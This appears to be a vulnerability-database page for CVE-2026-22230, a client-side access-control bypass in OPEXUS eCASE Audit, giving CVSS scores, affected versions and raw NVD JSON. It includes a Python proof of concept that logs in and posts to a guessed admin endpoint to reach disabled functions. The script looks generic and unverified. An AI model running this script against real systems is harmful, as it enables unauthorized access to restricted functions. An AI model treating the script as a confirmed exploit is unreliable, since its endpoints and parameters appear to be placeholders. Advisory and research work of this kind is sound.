Security Vulnerability Report
中文
CVE-2026-22230 CVSS 7.6 HIGH

CVE-2026-22230

Published: 2026-01-08 18:16:00
Last Modified: 2026-01-26 21:03:01
Source: 9119a7d8-5eab-497f-8521-727c672e3725

Description

OPEXUS eCASE Audit allows an authenticated attacker to modify client-side JavaScript or craft HTTP requests to access functions or buttons that have been disabled or blocked by an administrator. Fixed in eCASE Platform 11.14.1.0.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:opexustech:ecase_audit:*:*:*:*:*:*:*:* - VULNERABLE
OPEXUS eCASE Platform < 11.14.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22230 PoC - OPEXUS eCASE Audit Access Control Bypass # This PoC demonstrates the client-side validation bypass vulnerability # Use responsibly and only on systems you have permission to test import requests import json from urllib.parse import urljoin # Configuration TARGET_URL = "https://vulnerable-host.example.com/eCASE" USERNAME = "low_privilege_user" PASSWORD = "password123" # Login to get session session = requests.Session() login_url = urljoin(TARGET_URL, "/api/auth/login") login_data = { "username": USERNAME, "password": PASSWORD } try: # Step 1: Authenticate response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") exit(1) print("[+] Successfully authenticated") # Step 2: Method 1 - Modify client-side JavaScript behavior # Intercept and modify the JavaScript that controls button visibility # This simulates what an attacker would do with browser DevTools print("\n[*] Method 1: Client-side JavaScript Modification") print(" - Open browser DevTools (F12)") print(" - Find the disabled button element") print(" - Remove 'disabled' attribute or modify JavaScript variable") print(" - Example: document.querySelector('.admin-btn').disabled = false") # Step 3: Method 2 - Direct API manipulation print("\n[*] Method 2: HTTP Request Manipulation") # Example: Access admin function via direct API call admin_api = urljoin(TARGET_URL, "/api/admin/functions") headers = { "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/json" } # Try to access restricted function exploit_data = { "action": "execute_admin_function", "function_id": "sensitive_operation", # Bypass client-side restrictions by direct API call "bypass_client_check": True } response = session.post(admin_api, json=exploit_data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Successfully accessed restricted function!") print(f" Response: {json.dumps(result, indent=2)}") else: print(f"[-] Request blocked or failed: {response.status_code}") print(f" Response: {response.text[:200]}") print("\n[*] Note: This PoC requires a valid authenticated session") print("[*] The actual exploit may vary based on system configuration") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22230", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2026-01-08T18:15:59.750", "lastModified": "2026-01-26T21:03:00.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OPEXUS eCASE Audit allows an authenticated attacker to modify client-side JavaScript or craft HTTP requests to access functions or buttons that have been disabled or blocked by an administrator. Fixed in eCASE Platform 11.14.1.0."}, {"lang": "es", "value": "OPEXUS eCASE Audit permite a un atacante autenticado modificar JavaScript del lado del cliente o elaborar solicitudes HTTP para acceder a funciones o botones que han sido deshabilitados o bloqueados por un administrador. Corregido en eCASE Platform 11.14.1.0."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opexustech:ecase_audit:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.14.1.0", "matchCriteriaId": "1F954E97-A5E0-43E1-98D3-8F1AEA592F8E"}]}]}], "references": [{"url": "https://docs.opexustech.com/docs/eCase/11.14.X/eCASE_Release_Notes_11.14.1.0.pdf", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Release Notes"]}, {"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-26-008-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Broken Link"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-22230", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}